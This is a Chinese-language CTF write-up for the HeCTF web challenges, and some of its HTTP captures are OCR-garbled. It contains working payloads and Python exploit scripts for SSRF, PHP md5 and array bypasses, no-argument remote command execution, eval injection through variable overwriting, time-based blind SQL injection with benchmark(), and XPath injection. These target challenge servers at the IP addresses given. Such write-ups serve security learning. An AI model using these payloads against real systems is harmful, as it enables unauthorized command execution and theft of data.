# **HeCTF**

# 签到

忘记密码命令暴力破解验证码

## ssrfme

```
1 <?php
 2 error_reporting(0);
 3 highlight_file(__FILE__);
   //try flag.php
 5
   function filter($url) {
 6
        $match_result=preg_match('/^(http|https)?:\/\.*(\/)?.*$/',$url);
 7
        if (!$match_result)
 8
        {
            die('url fomat error');
 9
10
        }
11
        try
12
        {
13
            $url_parse=parse_url($url);
14
        }
15
        catch(Exception $e)
16
17
            die('url fomat error');
            return false;
18
19
        }
        $hostname=$url_parse['host'];
20
21
        $ip=gethostbyname($hostname);
22
        $int_ip=ip2long($ip);
        return ip2long('127.0.0.0')>>24 == $int_ip>>24 ||
23
    ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 ==
    $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
24 }
25 | $url = $_GET['url'];
26 if(!filter($url)){
         echo file_get_contents($url);
27
28 }
29 | ?>
```

exp:?url=://../../../../flag

# **BOOM** ezphp

```
1    <?php
2    error_reporting(0);
3    highlight_file(__file__);
4    include('flag.php');
5    $string_1 = $_GET['str1'];
6    $string_2 = $_GET['str2'];
7</pre>
```

```
8 if($_GET['param1']!==$_GET['param2']&&md5($_GET['param1'])===md5($_GET['para
    m2'])){
 9
10
            if(is_numeric($string_1)){
11
                md5_1 = md5(string_1);
12
                md5_2 = md5(string_2);
13
                if($md5_1 != $md5_2){
                    $a = strtr($md5_1, 'cxhp', '0123');
14
15
                    $b = strtr($md5_2, 'cxhp', '0123');
16
                    if(a == $b){
17
                        echo $flag;
18
                    }
19
                    else {
20
                        die('you are close');
21
                    }
22
                }
23
                else {
24
                   die("md5 is wrong");
25
                }
26
                }
27
           else {
28
           die('str1 not number');
29
            }
       }
30
31 | else {
      die('you are wrong!');
32
33 }
34 ?>
```

第一个绕过是通过数组:

```
1 | param1[]=1&param2[]=2
```

```
if(is_numeric($string_1)){
1
2
       md5_1 = md5(string_1);
3
       md5_2 = md5(string_2);
4
      if($md5_1 != $md5_2){
5
           $a = strtr($md5_1, 'cxhp', '0123');
6
           $b = strtr($md5_2, 'cxhp', '0123');
7
          if(a == b){
8
               echo $flag;
9
           }
```

要求\$string\_1是数字并且md5之后和\$string\_2不一样,但是通过替换之后是相同的,就需要跑脚本

```
1
  <?php
2
  for($i = 1000000; $i <= 100000000; $i++) {
3
     $md5 = strtr(md5($i),'cxhp', '0123');
4
      if(preg_match('/^0e\d+$/', $md5)) {
5
      echo $i."\n". md5($i);
6
      break;
7
      }
8
  }#2120624
9
  ?>
```

?param1[]=1&param2[]=2&str1=2120624&str2=QNKCDZOs

## web1

## 跟着wp复现的,就介绍一下自己的思路

打开页面之后就简单的数组绕过

```
| HTTP/1.1 | Host: 121.196.32.184:12001 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 | Firefox/83.0 | Accept-Incoding: gaip, deflate | Connection: close | Upgrade-Insecure-Requests: 1 | DNT: 1 | Sec-GPC: 1 | Sec-GPC:
```

然后肯定是访问这个文件

简单是看一看代码意思是要我们知道一个文件名(应该是之后我们创建的文件名),然后要绕过正则表达式的匹配

```
      1
      if(';' === preg_replace('/[^\w]+\((?R)?\)/', '', $data))

      2

      3
      [^\w],对于\w,其意思等价于[^A-Za-z0-9_]。那么我们知道,我们的input必须以此开头

      4
      然后是括号匹配\( . . . . . \)括号中间为(?R)?意思为重复整个模式。简单理解,我们可以输入以下类型a(b(c())),而不能加参数,否则将无法匹配a(c,d)
```

利用思路是我们想知道这个文件,然后控制data数据向该文件写入一些函数进行控制,(无参数rec)

首先这个文件是存在在 var/www/html/etc/crontab下 (就是设置时间器去执行这个文件)

为了能够利用参数我们引用 get\_defined\_vars()函数:返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

```
POST /3b8cf473lc36d20776c76e20f9c774c7.php HITP/1.1
Host: 121.196.32.184:12001
User-Agent: Mostlla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101
Firefox/83.0
Accept-Language: sh-Cfl. sh.; q=0.8; sh-TW; q=0.7; sh-HK; q=0.9; image/webp, */*; q=0.8
Accept-Language: sh-Cfl. sh.; q=0.8; sh-TW; q=0.7; sh-HK; q=0.9; a, sen; q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
DMT: 1
Content-Lppe: application/x-www-form-urlencoded
Content-Lppe: application/x-www-form-urlencoded
Content-Lppe: application/x-www-form-urlencoded
Content-Lppe: file*[':fsite']:
if('site'='\maxxxx')
die('k%\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\maxsymu\max
```

```
HTTP/1.1 200 OK
Date: Tue, 24 Nov 2020 07:48:24 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.3.24
GET /very_g00d_Y0u_got_it.php?1=1 HTTP/1.1
Host: 121.196.32.184:12001
Accept: text/html, application/xhtml,xml, application/xml;q=0.9, image/webp, */*:q=0.8
Accept: text/html, application/xhtml,xml, application/xml;q=0.9, image/webp, */*:q=0.8
Accept-Language: xh-CN, zh:q=0.8, zh-Tv;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en:q=0.2
Accept-Encoding: gzip, deflate
Connection: close
                                                                                                                                                                 Vary: Accept-Encoding
                                                                                                                                                                Content-Length: 167
Connection: close
                                                                                                                                                                Content-Type: text/html; charset=UTF-8
 Upgrade-Insecure-Requests: 1
DNT: 1
                                                                                                                                                                array(4) {
    ["_GET"]=>
    array(1) {
    [1]=>
    string(1) "1"
                                                                                                                                                                                                        可以控制这个值
                                                                                                                                                                     }
["_POST"]=>
array(0) {
                                                                                                                                                                     ["_COOKIE"]=>
                                                                                                                                                                     array(0) {
                                                                                                                                                                    }
["_FILES"]=>
array(0) {
```

### 然后我们就需要控制文件输入的\$\_GET数组的值

#### 需要用到next();current();end();等相关函数

#### PHP next() 函数

```
HTTP/1.1 200 OK
Date: Tue, 24 Nov 2020 07:56:40 GMT
Server: Apache/2.4.38 (Debian)
POST /3b8cf4731c36d20776c76c20f9c774c7.php HTIP/1.1
Host: 121.196.32.184:12001
User-Agent: Mosilla/5.0 (Windows NT 10.0: Win64: x64: rv:83.0) Gecko/20100101
                                                                                                                                                               X-Powered-By: PHP/7.3.24
Vary: Accept-Encoding
Fire Low So. W Accept: text/html, application/xhtml+xml, application/xml:q=0.9, image/webp, */*:q=0.8 Accept-Language: zh-CN.zh:q=0.8, zh-TW;q=0.7, zh-HK:q=0.5, en-US;q=0.3, en:q=0.2 Accept-Encoding: gzip, deflate Connection: close
                                                                                                                                                               Content-Length: 339
Connection: close
                                                                                                                                                               Content-Type: text/html; charset=UTF-8
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
                                                                                                                                                              《fitall》

$falt=$_POST[ 'data'];

$falt=$_POST[ 'falte'];

if($ffite|="/xxxx")

die("你需要知道写入的文件名!!!!我蔣你知道到这个文件叫什么,记得加上绝对路径"
file=/very_g00d_Y0u_got_it.php&data=system(current(current(get_defined_vars())));
                                                                                                                                                              ...
if(';' === preg_replace('/[`\W]+\((?R)?\)/', '', $data)) {
echo "great!!!!你需要看看源码";
file_put_contents($file,"");
}
```

#### system(current(current(get\_defined\_vars())));

### 执行\$\_GET数组里面的第一个的第一个值当命令执行

```
GET /very_g00d_Y0u_got_it.php?1=ls HTTP/1.1
                                                                                                                                                                                            HTTP/1.1 200 OK
                                                                                                                                                                                           HTTP/1.1 200 OK
Date: Tue, 24 Nov 2020 07:58:21 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.3.24
Vary: Accept-Encoding
Comection: close
Content-Type: text/html; charset=UIF-8
Content-Length: 203
Host: 121.196.32.184:12001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101
Firefox/83.0 Accept: text/html, application/xntml+xml, application/xml;q=0.9, image/webp, */*;q=0.8
Accept-Language: xh-CN, xh:q=0.5, xh-TW;q=0.7, xh-HK;q=0.5, en-US;q=0.3, en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
                                                                                                                                                                                             3b8cf4731c36d20776c76e20f9c774c7.php
 DNT: 1
Sec-GPC: 1
                                                                                                                                                                                             Zmw0Z2dnZ2dnZ2dnZ2dnCg
                                                                                                                                                                                             bin
                                                                                                                                                                                            boot
                                                                                                                                                                                             dev
                                                                                                                                                                                           etc
flag
home
index.php
lib
lib64
                                                                                                                                                                                             media
                                                                                                                                                                                             mnt
                                                                                                                                                                                             opt
                                                                                                                                                                                             proc
reset.sh
root
run
sbin
                                                                                                                                                                                             srv
start.sh
                                                                                                                                                                                             tmp
                                                                                                                                                                                              very_g00d_Y0u_got_it.php
 GET /very_g00d_Y0u_got_it.php?1=cat+Z* HTTP/1.1
                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                          HITP/1.1 200 OK
Date: Tue, 24 Nov 2020 07:59:01 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.3.24
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UIF-8
Content-Length: 43
Host: 121.196.32.184:12001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101
Firefox/83.0
 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8
Accept-Language: zh-CN, zh:q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2
Accept-Encoding: gzip, deflate
  Connection: close
 Upgrade-Insecure-Requests: 1
                                                                                                                                                                                                          flag {41e000b2-dadc-11ea-917a-9b59aa93fd1b}
 Sec-GPC: 1
```

```
#源代码
1
  @$data=$_POST['data'];
3
  $file=$_POST['file'];
  if($file!="/xxx")
4
5
     die("你需要知道写入的文件名!!!!!我猜你知道到这个文件叫什么,记得加上绝对路径");
```

```
6 | if(';' === preg_replace('/[^\w]+\((?R)?\)/', '', $data)) {
 7
        echo "great!!!!你需要看看源码";
 8
        file_put_contents($file,"<?php ".\$data." ?>");
 9
    }
 10 <?php
 11
        @$data=$_POST['data'];
 12
       $file=$_POST['file'];
 13
        if($file!="/very_g00d_Y0u_got_it.php")
             die("你需要知道写入的文件名!!!! 我猜你知道到这个文件叫什么,记得加上绝对路
 14
    径");
 15 | if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $data))
        die("nonono ");
 16
 17
    if(';' === preg_replace('/[\land \w]+\((?R)?\)/', '', \data)) {
        echo "great!!!!";
 18
        @file_put_contents($file,"<?php ".$data." ?>");
 19
        //你想要的文件是 Zmw0z2dnz2dnz2dnz2dnCg
 21 }
 22 ?>
```

```
1 #exp.py
2 #-*-codeing = utf-8 -*-
3 #@Author: Firebasky
4 import re
5 import requests
6 s = requests.session() #维持会话,可以让我们在跨请求时保存某些参数
7 key='/very_g00d_Y0u_got_it.php'
8 url='http://121.196.32.184:12001/'
9
   exp='system(current(current(get_defined_vars())));'
10 | data={
       'a[]':1,
11
12
      'b[]':2
13 }
14 | data1={
       'file':key,
15
      'data':exp
16
17 }
18 \mid r = s.post(url,data)
19 file=str(re.findall('[a-z0-9]+.php',r.text))
20 keyfile=file[28:-2]#获得写入文件的文件
21
22 r1 = s.post(url+keyfile,data1)#访问写入文件
23 r2 = s.get(url+key+'?1=nl+Z*')#执行命令
24
   print(r2.text)
25
```

# 小bo站

下载源代码www.zip进行代码审计

```
#action.php

?php

require_once("./view.php");

$page = ($_POST['page']).'.php';

$post_data = array();

foreach ($_POST as $key => $value) {

$post_data[$key] = $value;
```

```
8 }
9 if (file_exists($page))
10 {
11     @require_once($page);#执行包含文件
12 }
13 ?>
14 #包含页面
```

```
1 #md5.php
2
   <?php
3
   require_once("./view.php");#包含view.php
4 | function action($post_data){
 5
       foreach ($post_data as $key => $value) {
6
           $$key = $value;#变量覆盖漏洞
7
      }
8
       if ($method==='md5'){
9
10
           $res = md5($source);
11
      }
       if ($method==='sha1'){
12
13
           $res = sha1($source);
14
       }
15
       return $res;
16 }
17  $view_class = new View();
18 | $data = array();
19 | $data['page'] = 'md5';
20 $data['res'] = action($post_data);
21 | $view_class->echoContent($data['page'], $data);
22 ?>
```

通过md5.php页面对view.php页面进行包含,去分析一下view.php页面里面存在多个eval函数可能存在命令执行漏洞

在md5.php页面可以控制POST:res参数然后通过action函数之后会形成变量覆盖,覆盖了\$data['res']的值

然后去跟进view.php里面查看echoContent()函数

```
1 #view.php
2 | function echoContent($vId, $data)
3 {
4
       $this->data = $data;
       $content = loadFile("views/".$vId.".php");
5
6
       $content = $this->parseHeadAndFoot($content);#过滤替换
7
       $content = $this->parseVal($content);#过滤,修改了content的值 加载了exp
       $content = $this->parseIf($content);#过滤
8
9
       echo $content;
10 }
11
12 | function parseHeadAndFoot($content)#$content进行替换
13 {
14
       $content=str_replace("{chinaz:header}",loadFile($this-
   >templateDir."header.php"),$content);
       $content=str_replace("{chinaz:footer}",loadFile($this-
15
   >templateDir."footer.php"),$content);
```

```
16 return $content;
17
   }
18
19 | function parseval($content){
20
       $data = $this->data;#一句话的内容
21
       foreach ($data as $key => $value) {
22
           $content = str_replace("{?=".$key."?}", $value, $content);
23
       }
       content = preg\_replace("/{\r=[a-z]*\?}/", "", $content);
24
25
       return $content;#过滤返回
26 }
27
28
   #简单的拿出parseIf()函数的代码
   function parseIf($content){
29
30
       $Rule = buildregx("{if:(.*?)}(.*?){end if}","is");
       preg_match_all($Rule,$content,$iar);#过滤
31
32
       #$iar是一个数组类型里面的内容就是$data的内容
33
       $arlen=count($iar[0]);
      for($m=0;$m<$arlen;$m++){
34
35
               $strIf=$iar[1][$m];
36
               $strIf=$this->parseStrIf($strIf);#$strIF就是我们控制的$res
37
38
               @eval("if(".$strIf.")
    {\$ifstatus=true;}else{\$ifstatus=false;}");
39
           #eval("if""or @eval($_POST[0]) or"")
40 }
```

简单的说就是我们可以控制md5.php页面的post参数:res,然后当去执行md5.php页面时,会去调用view.php 里面的echoContent()方法,echoContent()方法里面的parseval()方法对\$content进行替换,然后 parseval()方法对\$content内容进行重写,最后parseIf()方法是让\$strIf变量获得\$content内容的值[其 实就是我们控制的\$res的值],之后进行eval函数

### 总体来说:通过\$res从而可以控制\$strlf 来实现命令执行

```
1 import requests
2 url='http://121.196.108.136:21002/action.php'
3 data={
4     "page":"md5",
5     "res":"\"or @eval($_POST[0]) or\"",#"是为了闭合双引号
6     "0":"system('ls /');"
7 }
8 res=requests.post(url=url,data=data)
9 if 'flag' in res.text:
10     print(res.text)
```

## xiazhu

考察sql注入 benchmark()绕过

```
import requests
import time
url = "http://121.196.108.136"
result = ''
for i in range(1,100):
    for char in range(48,127):
```

```
#设置payload
            payload ="admin' and
    if((ascii(substr((select(group_concat(flag))from(fllllllllaggggggg)),{},1)))=
    {},benchmark(2000000,md5('aaa')),0)#".format(i,char)
9
            data={'usname':payload,'pswd':'123'}
10
            #计算响应时长
11
           start = (time.time())
           r = requests.post(url,data=data)
12
           print(url+payload)
13
14
            response_time = (time.time()) - start
15
            if response_time >= 2:
16
                result += chr(char)
17
                print('flag: {}'.format(result))
18
                break
```

# injection

### XPATH注入学习

### XPath 教程

```
1 #判断根节点
2
   'or+count(/)=1+or'
4 ##根节点下的子节点
5 'or+count(/*)=1+or'
6
   ##判断根节点下的节点长度
7
8
   'or+string-length(name(/*[1]))=4+or+'
9
10 ##猜解根节点下的节点名称
11 'or+substring(name(/*[1]),1,1)='r'+or+'
   ##猜解出该节点名称为root
12
13
14
15
   'or+count(/root)=1+or' # /root节点数量为1
   'or+string-length(name(/root/*[1]))=5+or+' #判断/root下的节点长度
16
17
   'or+substring(name(/root/*),1,1)='\Sr\S'+or+' #users
18
   'or+count(/root/users/*)=3+or'
19
20
   'or+string-length(name(/root/users[position()=1]/*[1]))=4+or+'
21 读取user节点的下子节点
   'or substring(name(/root/users[position()=1]/*[1]), 1, 1)='u'+or+'' # user
22
23
   'or+count(/root/users/user/*)=9+or'#9个子节点
24
   'or+string-length(name(/root/users/user[position()=1]/*[1]))=2+or+' #2
```

```
1
2 #payload="x' or count(/)={} or ''='" #1 根节点数为1
3 #payload="x' or count(/*)={} or ''='" #1 根节点下只有1个子节点
```

```
4 | #payload="x' or string-length(name(/*[1]))={} or ''='" #8 节点下节点长度为8
   #payload="x' or substring(name(/*[1]), {}, 1)='{}' or ''='" #root 节点下
   节点名称
6
 7
   #payload="x' or count(/root/*)={} or ''=' " #1 root节点数1
8  #payload="x' or string-length(name(/root/*[1]))={} or ''='" #5 root节点下节点
   长度为5
9
   #payload="x' or substring(name(/root/*[1]), {}, 1)='{}' or ''='" #users
10
   payload="x' or count(/root/users/*)={} or ''='" #3
11
   \#payload="x' or string-length(name(/root/users/*[3]))={} or ''='" \#1,4 2,4
12
   3,4
   payload = x' or substring(name(/root/users/*[3]), {}, 1) = {}' or '' = "
13
   #1,user 2,user 3,user
14
   #payload="x' or count(/root/users/user[position()=3]/*)={} or ''='" #1,3
15
   2,3 3,3#user[position()=1]表示相同名称user节点的第一个
   #payload="x' or substring(name(/root/users/user[position()=1]/*[2]), {}
16
   ,1)='{}' or ''='" #1,id 2,username 3,password
17
   #payload="x' or count(/root/users/user[position()=3]/username/*)={} or ''='"
18
   #0 返回0表示username下没有节点了
19
   payload="x' or substring((//user[position()=1]/username[position()=1]),
   {},1)='{}' or ''='" #查询username节点值
20
```

```
1 #-*-codeing = utf-8 -*-
 2
   #@Author: Firebasky
 3 #@File: exp.py
4 import requests
5 dic='qazwsxedcrfvtgbyhnujiokplm0123456789'
6 url='http://114.55.165.246:8082/'
 7
    def get_user():
8
        for i in range(1,10):
9
            for j in dic:
                 exp="?
10
    username='or+substring((/root/users/user[position()=1]/username[position()=1
    ]), \{\}, 1) = '\{\}' + or + '\&password = 1\&submit = 2''. format(i, j)
11
                 res = requests.get(url+exp)
                 if "login as admin" in res.text:
12
13
                     print(j,end="")
14
                     break
15
    def get_passwd():
16
17
        for i in range(1,40):
            for j in dic:
18
                 exp="?
19
    username='or+substring((/root/users/user[position()=1]/password[position()=1
    ]), \{\}, 1) = '\{\}' + or + '\&password = 1\&submit = 2''. format(i, j)
20
                 res = requests.get(url+exp)
                 if "login as admin" in res.text:
21
                     print(j,end="")
22
23
                     break
24 get_user()
25
   print("\n")
26 | get_passwd()
```

# easygo

考察 cookie 伪造